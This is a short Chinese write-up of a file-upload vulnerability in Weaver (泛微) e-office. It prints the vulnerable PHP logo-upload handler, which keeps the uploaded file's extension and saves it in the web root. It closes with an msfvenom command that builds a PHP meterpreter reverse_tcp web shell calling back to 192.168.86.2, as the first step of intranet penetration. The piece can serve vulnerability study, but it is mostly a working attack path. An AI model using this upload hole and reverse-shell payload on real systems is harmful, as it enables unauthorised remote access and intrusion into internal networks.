从泛微e-office漏洞分析到内网渗透

if ($uploadType == "eoffice_logo") {    $targetPath = $_SERVER['DOCUMENT_ROOT'] . "/images/logo/";    if (!file_exists($targetPath)) {        mkdir($targetPath, 511, true);    }    $ext = $this->getFileExtension($_FILES['Filedata']['name']);    //将上传的文件尾缀传给变量$ext    $_targetFile = "logo-eoffice" . $ext;    //将上传的文件名改为logo-eoffice.$ext    $targetFile = str_replace("//", "/", $targetPath) . "/" . $_targetFile;    //将['DOCUMENT_ROOT']/images/logo/logo-eoffice.$ext 中的‘//’替换为'/'    if (move_uploaded_file($tempFile, $targetFile)) {        $query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO'";        $result = exequery($connection, $query);        $row = mysql_fetch_array($result);        $param1 = $param2 = false;        if (!$row) {            $query = "INSERT INTO sys_para VALUES('SYS_LOGO','{$_targetFile}')";            $param1 = exequery($connection, $query);        } else {            $query = "UPDATE sys_para SET PARA_VALUE='{$_targetFile}' WHERE PARA_NAME='SYS_LOGO'";            $param1 = exequery($connection, $query);        }        //这段代码就是判断文件是否上传成功，如果成功了就更新数据库中的内容        $query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO_TYPE'";        $result = exequery($connection, $query);        $row = mysql_fetch_array($result);        if (!$row) {            $query = "INSERT INTO sys_para VALUES('SYS_LOGO_TYPE','2')";            $param2 = exequery($connection, $query);        } else {            $query = "UPDATE sys_para SET PARA_VALUE='2' WHERE PARA_NAME='SYS_LOGO_TYPE'";            $param2 = exequery($connection, $query);        }        if ($param1 && $param2) {            echo $_targetFile;            //上传成功后就输出文件名        } else {            echo 0;        }    } else {        echo 0;    }}

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.86.2 LPORT=12399 R > yunzui.php